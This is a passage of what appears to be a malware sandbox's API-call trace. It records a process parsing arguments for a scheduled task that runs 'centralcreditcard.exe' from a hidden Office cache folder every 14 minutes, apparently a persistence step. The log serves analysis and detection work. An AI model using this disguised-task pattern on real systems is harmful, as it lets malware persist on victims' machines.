_Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.338] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.338] lstrlenW (lpString="|create|") returned 8 [0082.338] lstrlenW (lpString="|mo|") returned 4 [0082.338] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0082.338] SetLastError (dwErrCode=0x490) [0082.338] lstrlenW (lpString="?") returned 1 [0082.338] lstrlenW (lpString="?") returned 1 [0082.338] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.338] lstrlenW (lpString="mo") returned 2 [0082.338] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.338] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|?|") returned 3 [0082.338] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.338] lstrlenW (lpString="|?|") returned 3 [0082.338] lstrlenW (lpString="|mo|") returned 4 [0082.338] SetLastError (dwErrCode=0x490) [0082.338] lstrlenW (lpString="s") returned 1 [0082.338] lstrlenW (lpString="s") returned 1 [0082.338] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.338] lstrlenW (lpString="mo") returned 2 [0082.338] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.338] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|s|") returned 3 [0082.338] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.339] lstrlenW (lpString="|s|") returned 3 [0082.339] lstrlenW (lpString="|mo|") returned 4 [0082.339] SetLastError (dwErrCode=0x490) [0082.339] lstrlenW (lpString="u") returned 1 [0082.339] lstrlenW (lpString="u") returned 1 [0082.339] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.339] lstrlenW (lpString="mo") returned 2 [0082.339] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.339] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|u|") returned 3 [0082.339] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.339] lstrlenW (lpString="|u|") returned 3 [0082.339] lstrlenW (lpString="|mo|") returned 4 [0082.339] SetLastError (dwErrCode=0x490) [0082.339] lstrlenW (lpString="p") returned 1 [0082.339] lstrlenW (lpString="p") returned 1 [0082.339] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.339] lstrlenW (lpString="mo") returned 2 [0082.339] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.339] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|p|") returned 3 [0082.339] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.339] lstrlenW (lpString="|p|") returned 3 [0082.339] lstrlenW (lpString="|mo|") returned 4 [0082.339] SetLastError (dwErrCode=0x490) [0082.339] lstrlenW (lpString="ru") returned 2 [0082.339] lstrlenW (lpString="ru") returned 2 [0082.340] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.340] lstrlenW (lpString="mo") returned 2 [0082.340] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.340] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ru|") returned 4 [0082.340] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.340] lstrlenW (lpString="|ru|") returned 4 [0082.340] lstrlenW (lpString="|mo|") returned 4 [0082.340] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0082.340] SetLastError (dwErrCode=0x490) [0082.340] lstrlenW (lpString="rp") returned 2 [0082.340] lstrlenW (lpString="rp") returned 2 [0082.340] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.340] lstrlenW (lpString="mo") returned 2 [0082.340] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.340] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rp|") returned 4 [0082.340] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.340] lstrlenW (lpString="|rp|") returned 4 [0082.340] lstrlenW (lpString="|mo|") returned 4 [0082.340] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0082.340] SetLastError (dwErrCode=0x490) [0082.340] lstrlenW (lpString="sc") returned 2 [0082.340] lstrlenW (lpString="sc") returned 2 [0082.340] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.340] lstrlenW (lpString="mo") returned 2 [0082.341] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.341] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.341] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.341] lstrlenW (lpString="|sc|") returned 4 [0082.341] lstrlenW (lpString="|mo|") returned 4 [0082.341] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0082.341] SetLastError (dwErrCode=0x490) [0082.341] lstrlenW (lpString="mo") returned 2 [0082.341] lstrlenW (lpString="mo") returned 2 [0082.341] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.341] lstrlenW (lpString="mo") returned 2 [0082.341] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.341] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.341] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.341] lstrlenW (lpString="|mo|") returned 4 [0082.341] lstrlenW (lpString="|mo|") returned 4 [0082.341] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0082.341] SetLastError (dwErrCode=0x0) [0082.341] SetLastError (dwErrCode=0x0) [0082.341] lstrlenW (lpString="14") returned 2 [0082.341] lstrlenW (lpString="-/") returned 2 [0082.341] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0082.341] SetLastError (dwErrCode=0x490) [0082.341] SetLastError (dwErrCode=0x490) [0082.341] SetLastError (dwErrCode=0x0) [0082.342] lstrlenW (lpString="14") returned 2 [0082.342] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0082.342] SetLastError (dwErrCode=0x490) [0082.342] SetLastError (dwErrCode=0x0) [0082.342] _memicmp (_Buf1=0x15d720, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.342] lstrlenW (lpString="14") returned 2 [0082.342] lstrlenW (lpString="14") returned 2 [0082.342] lstrlenW (lpString=" \x09") returned 2 [0082.342] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0082.342] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0082.342] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0082.342] GetLastError () returned 0x0 [0082.342] lstrlenW (lpString="14") returned 2 [0082.342] lstrlenW (lpString="14") returned 2 [0082.342] GetProcessHeap () returned 0x140000 [0082.342] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x6) returned 0x1555e0 [0082.342] SetLastError (dwErrCode=0x0) [0082.342] SetLastError (dwErrCode=0x0) [0082.342] lstrlenW (lpString="/tr") returned 3 [0082.342] lstrlenW (lpString="-/") returned 2 [0082.342] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.342] lstrlenW (lpString="create") returned 6 [0082.342] lstrlenW (lpString="create") returned 6 [0082.342] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.342] lstrlenW (lpString="tr") returned 2 [0082.342] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.343] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.343] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.343] lstrlenW (lpString="|create|") returned 8 [0082.343] lstrlenW (lpString="|tr|") returned 4 [0082.343] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0082.343] SetLastError (dwErrCode=0x490) [0082.343] lstrlenW (lpString="?") returned 1 [0082.343] lstrlenW (lpString="?") returned 1 [0082.343] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.343] lstrlenW (lpString="tr") returned 2 [0082.343] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.343] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|?|") returned 3 [0082.343] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.343] lstrlenW (lpString="|?|") returned 3 [0082.343] lstrlenW (lpString="|tr|") returned 4 [0082.343] SetLastError (dwErrCode=0x490) [0082.343] lstrlenW (lpString="s") returned 1 [0082.343] lstrlenW (lpString="s") returned 1 [0082.343] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.343] lstrlenW (lpString="tr") returned 2 [0082.343] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.343] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|s|") returned 3 [0082.343] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.343] lstrlenW (lpString="|s|") returned 3 [0082.343] lstrlenW (lpString="|tr|") returned 4 [0082.344] SetLastError (dwErrCode=0x490) [0082.344] lstrlenW (lpString="u") returned 1 [0082.344] lstrlenW (lpString="u") returned 1 [0082.344] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.344] lstrlenW (lpString="tr") returned 2 [0082.344] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.344] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|u|") returned 3 [0082.344] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.344] lstrlenW (lpString="|u|") returned 3 [0082.344] lstrlenW (lpString="|tr|") returned 4 [0082.344] SetLastError (dwErrCode=0x490) [0082.344] lstrlenW (lpString="p") returned 1 [0082.344] lstrlenW (lpString="p") returned 1 [0082.344] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.344] lstrlenW (lpString="tr") returned 2 [0082.344] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.344] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|p|") returned 3 [0082.344] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.344] lstrlenW (lpString="|p|") returned 3 [0082.344] lstrlenW (lpString="|tr|") returned 4 [0082.344] SetLastError (dwErrCode=0x490) [0082.344] lstrlenW (lpString="ru") returned 2 [0082.344] lstrlenW (lpString="ru") returned 2 [0082.345] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.345] lstrlenW (lpString="tr") returned 2 [0082.345] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.345] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ru|") returned 4 [0082.345] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.345] lstrlenW (lpString="|ru|") returned 4 [0082.345] lstrlenW (lpString="|tr|") returned 4 [0082.345] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0082.345] SetLastError (dwErrCode=0x490) [0082.345] lstrlenW (lpString="rp") returned 2 [0082.346] lstrlenW (lpString="rp") returned 2 [0082.346] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.346] lstrlenW (lpString="tr") returned 2 [0082.346] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.346] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rp|") returned 4 [0082.346] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.346] lstrlenW (lpString="|rp|") returned 4 [0082.346] lstrlenW (lpString="|tr|") returned 4 [0082.346] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0082.346] SetLastError (dwErrCode=0x490) [0082.346] lstrlenW (lpString="sc") returned 2 [0082.346] lstrlenW (lpString="sc") returned 2 [0082.346] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.346] lstrlenW (lpString="tr") returned 2 [0082.346] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.346] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.346] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.346] lstrlenW (lpString="|sc|") returned 4 [0082.346] lstrlenW (lpString="|tr|") returned 4 [0082.346] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0082.346] SetLastError (dwErrCode=0x490) [0082.346] lstrlenW (lpString="mo") returned 2 [0082.346] lstrlenW (lpString="mo") returned 2 [0082.346] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.347] lstrlenW (lpString="tr") returned 2 [0082.347] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.347] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.347] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.347] lstrlenW (lpString="|mo|") returned 4 [0082.347] lstrlenW (lpString="|tr|") returned 4 [0082.347] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0082.347] SetLastError (dwErrCode=0x490) [0082.347] lstrlenW (lpString="d") returned 1 [0082.347] lstrlenW (lpString="d") returned 1 [0082.347] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.347] lstrlenW (lpString="tr") returned 2 [0082.347] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.347] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|d|") returned 3 [0082.347] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.347] lstrlenW (lpString="|d|") returned 3 [0082.347] lstrlenW (lpString="|tr|") returned 4 [0082.347] SetLastError (dwErrCode=0x490) [0082.347] lstrlenW (lpString="m") returned 1 [0082.347] lstrlenW (lpString="m") returned 1 [0082.347] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.347] lstrlenW (lpString="tr") returned 2 [0082.347] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.348] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|m|") returned 3 [0082.348] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.348] lstrlenW (lpString="|m|") returned 3 [0082.348] lstrlenW (lpString="|tr|") returned 4 [0082.348] SetLastError (dwErrCode=0x490) [0082.348] lstrlenW (lpString="i") returned 1 [0082.348] lstrlenW (lpString="i") returned 1 [0082.348] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.348] lstrlenW (lpString="tr") returned 2 [0082.348] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.348] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|i|") returned 3 [0082.348] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.348] lstrlenW (lpString="|i|") returned 3 [0082.348] lstrlenW (lpString="|tr|") returned 4 [0082.348] SetLastError (dwErrCode=0x490) [0082.348] lstrlenW (lpString="tn") returned 2 [0082.348] lstrlenW (lpString="tn") returned 2 [0082.348] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.348] lstrlenW (lpString="tr") returned 2 [0082.348] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.348] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.348] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.348] lstrlenW (lpString="|tn|") returned 4 [0082.348] lstrlenW (lpString="|tr|") returned 4 [0082.349] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0082.349] SetLastError (dwErrCode=0x490) [0082.349] lstrlenW (lpString="tr") returned 2 [0082.349] lstrlenW (lpString="tr") returned 2 [0082.349] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.349] lstrlenW (lpString="tr") returned 2 [0082.349] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.349] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.349] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.349] lstrlenW (lpString="|tr|") returned 4 [0082.349] lstrlenW (lpString="|tr|") returned 4 [0082.349] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0082.349] SetLastError (dwErrCode=0x0) [0082.349] SetLastError (dwErrCode=0x0) [0082.349] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.349] lstrlenW (lpString="-/") returned 2 [0082.349] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0082.349] SetLastError (dwErrCode=0x490) [0082.349] SetLastError (dwErrCode=0x490) [0082.349] SetLastError (dwErrCode=0x0) [0082.349] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.349] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'" [0082.349] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.349] _memicmp (_Buf1=0x15c4f0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.350] _memicmp (_Buf1=0x15c530, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.350] SetLastError (dwErrCode=0x7a) [0082.350] SetLastError (dwErrCode=0x0) [0082.350] SetLastError (dwErrCode=0x0) [0082.350] lstrlenW (lpString="'C") returned 2 [0082.350] lstrlenW (lpString="-/") returned 2 [0082.350] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0082.350] SetLastError (dwErrCode=0x490) [0082.350] SetLastError (dwErrCode=0x490) [0082.350] SetLastError (dwErrCode=0x0) [0082.350] _memicmp (_Buf1=0x15d720, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.350] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.350] GetProcessHeap () returned 0x140000 [0082.350] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d740) returned 1 [0082.350] GetProcessHeap () returned 0x140000 [0082.350] RtlReAllocateHeap (Heap=0x140000, Flags=0xc, Ptr=0x15d740, Size=0xae) returned 0x15c610 [0082.350] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.350] lstrlenW (lpString=" \x09") returned 2 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0082.350] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0082.351] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.351] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0082.352] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0082.353] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0082.353] StrChrW (lpStart=" 